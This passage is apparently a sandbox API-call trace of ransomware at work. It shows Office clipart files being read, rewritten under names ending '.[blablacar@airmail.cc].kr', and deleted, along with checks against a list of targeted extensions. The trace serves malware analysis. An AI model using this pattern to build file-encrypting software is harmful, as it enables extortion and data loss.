lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.123] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.123] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.124] GetLastError () returned 0x0 [0193.124] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x13ea, lpOverlapped=0x0) returned 1 [0193.125] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x13f0, lpOverlapped=0x0) returned 1 [0193.127] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.127] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0193.127] SetEndOfFile (hFile=0x4d8) returned 1 [0193.127] CloseHandle (hObject=0x4d8) returned 1 [0193.127] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.127] SetEndOfFile (hFile=0x3f8) returned 1 [0193.130] CloseHandle (hObject=0x3f8) returned 1 [0193.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0193.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.134] lstrlenW (lpString=".doc") returned 4 [0193.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.134] lstrlenW (lpString=".docx") returned 5 [0193.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.134] lstrlenW (lpString=".pdf") returned 4 [0193.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.134] lstrlenW (lpString=".xls") returned 4 [0193.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.134] lstrlenW (lpString=".xlsx") returned 5 [0193.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.135] lstrlenW (lpString=".ppt") returned 4 [0193.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.135] lstrlenW (lpString=".zip") returned 4 [0193.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.135] lstrlenW (lpString=".rar") returned 4 [0193.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString=".bz2") returned 4 [0193.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString=".7z") returned 3 [0193.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.135] lstrlenW (lpString=".dbf") returned 4 [0193.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.135] lstrlenW (lpString=".1cd") returned 4 [0193.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.135] lstrlenW (lpString=".jpg") returned 4 [0193.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.135] lstrlenW (lpString=".doc") returned 4 [0193.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString=".docx") returned 5 [0193.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.135] lstrlenW (lpString=".pdf") returned 4 [0193.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.135] lstrlenW (lpString=".xls") returned 4 [0193.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.136] lstrlenW (lpString=".xlsx") returned 5 [0193.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.136] lstrlenW (lpString=".ppt") returned 4 [0193.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.136] lstrlenW (lpString=".zip") returned 4 [0193.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.136] lstrlenW (lpString=".rar") returned 4 [0193.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.136] lstrlenW (lpString=".bz2") returned 4 [0193.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.136] lstrlenW (lpString=".7z") returned 3 [0193.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.136] lstrlenW (lpString=".dbf") returned 4 [0193.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.136] lstrlenW (lpString=".1cd") returned 4 [0193.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0193.136] lstrlenW (lpString=".jpg") returned 4 [0193.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.137] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.137] lstrlenW (lpString="FD00455_.WMF") returned 12 [0193.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.138] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8926) returned 1 [0193.138] CloseHandle (hObject=0x3f8) returned 1 [0193.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0193.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.138] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.138] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.139] GetLastError () returned 0x0 [0193.139] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x22de, lpOverlapped=0x0) returned 1 [0193.141] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x22e0, lpOverlapped=0x0) returned 1 [0193.142] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.142] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0193.142] SetEndOfFile (hFile=0x4d8) returned 1 [0193.142] CloseHandle (hObject=0x4d8) returned 1 [0193.142] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.143] SetEndOfFile (hFile=0x3f8) returned 1 [0193.635] CloseHandle (hObject=0x3f8) returned 1 [0193.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.973] lstrlenW (lpString=".doc") returned 4 [0193.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString=".docx") returned 5 [0193.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.973] lstrlenW (lpString=".pdf") returned 4 [0193.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString=".xls") returned 4 [0193.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.973] lstrlenW (lpString=".xlsx") returned 5 [0193.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.973] lstrlenW (lpString=".ppt") returned 4 [0193.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.973] lstrlenW (lpString=".zip") returned 4 [0193.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.973] lstrlenW (lpString=".rar") returned 4 [0193.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString=".bz2") returned 4 [0193.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString=".7z") returned 3 [0193.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.973] lstrlenW (lpString=".dbf") returned 4 [0193.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.973] lstrlenW (lpString=".1cd") returned 4 [0193.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.974] lstrlenW (lpString=".jpg") returned 4 [0193.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.974] lstrlenW (lpString=".doc") returned 4 [0193.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.974] lstrlenW (lpString=".docx") returned 5 [0193.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.974] lstrlenW (lpString=".pdf") returned 4 [0193.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.974] lstrlenW (lpString=".xls") returned 4 [0193.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.974] lstrlenW (lpString=".xlsx") returned 5 [0193.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.974] lstrlenW (lpString=".ppt") returned 4 [0193.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.974] lstrlenW (lpString=".zip") returned 4 [0193.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.974] lstrlenW (lpString=".rar") returned 4 [0193.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.974] lstrlenW (lpString=".bz2") returned 4 [0193.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.974] lstrlenW (lpString=".7z") returned 3 [0193.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.974] lstrlenW (lpString=".dbf") returned 4 [0193.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.975] lstrlenW (lpString=".1cd") returned 4 [0193.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0193.975] lstrlenW (lpString=".jpg") returned 4 [0193.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.975] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.975] lstrlenW (lpString="FD01074_.WMF") returned 12 [0193.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.976] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=4634) returned 1 [0193.976] CloseHandle (hObject=0x370) returned 1 [0193.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0193.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.977] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.977] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0193.978] GetLastError () returned 0x0 [0193.978] ReadFile (in: hFile=0x370, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x121a, lpOverlapped=0x0) returned 1 [0193.979] WriteFile (in: hFile=0x53c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1220, lpOverlapped=0x0) returned 1 [0193.980] ReadFile (in: hFile=0x370, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.980] WriteFile (in: hFile=0x53c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0193.983] SetEndOfFile (hFile=0x53c) returned 1 [0193.983] CloseHandle (hObject=0x53c) returned 1 [0193.983] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.984] SetEndOfFile (hFile=0x370) returned 1 [0193.991] CloseHandle (hObject=0x370) returned 1 [0193.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0193.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.992] lstrlenW (lpString=".doc") returned 4 [0193.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.992] lstrlenW (lpString=".docx") returned 5 [0193.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.992] lstrlenW (lpString=".pdf") returned 4 [0193.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString=".xls") returned 4 [0193.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.993] lstrlenW (lpString=".xlsx") returned 5 [0193.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.993] lstrlenW (lpString=".ppt") returned 4 [0193.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.993] lstrlenW (lpString=".zip") returned 4 [0193.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.993] lstrlenW (lpString=".rar") returned 4 [0193.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString=".bz2") returned 4 [0193.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString=".7z") returned 3 [0193.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.993] lstrlenW (lpString=".dbf") returned 4 [0193.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.993] lstrlenW (lpString=".1cd") returned 4 [0193.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.993] lstrlenW (lpString=".jpg") returned 4 [0193.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.993] lstrlenW (lpString=".doc") returned 4 [0193.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.993] lstrlenW (lpString=".docx") returned 5 [0193.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.994] lstrlenW (lpString=".pdf") returned 4 [0193.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.994] lstrlenW (lpString=".xls") returned 4 [0193.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.994] lstrlenW (lpString=".xlsx") returned 5 [0193.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.994] lstrlenW (lpString=".ppt") returned 4 [0193.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.994] lstrlenW (lpString=".zip") returned 4 [0193.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.994] lstrlenW (lpString=".rar") returned 4 [0193.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.994] lstrlenW (lpString=".bz2") returned 4 [0193.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.994] lstrlenW (lpString=".7z") returned 3 [0193.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.994] lstrlenW (lpString=".dbf") returned 4 [0193.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.994] lstrlenW (lpString=".1cd") returned 4 [0193.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0193.994] lstrlenW (lpString=".jpg") returned 4 [0193.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.995] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.995] lstrlenW (lpString="FD01084_.WMF") returned 12 [0193.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.995] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2412) returned 1 [0193.995] CloseHandle (hObject=0x370) returned 1 [0193.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0193.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.996] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.996] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, 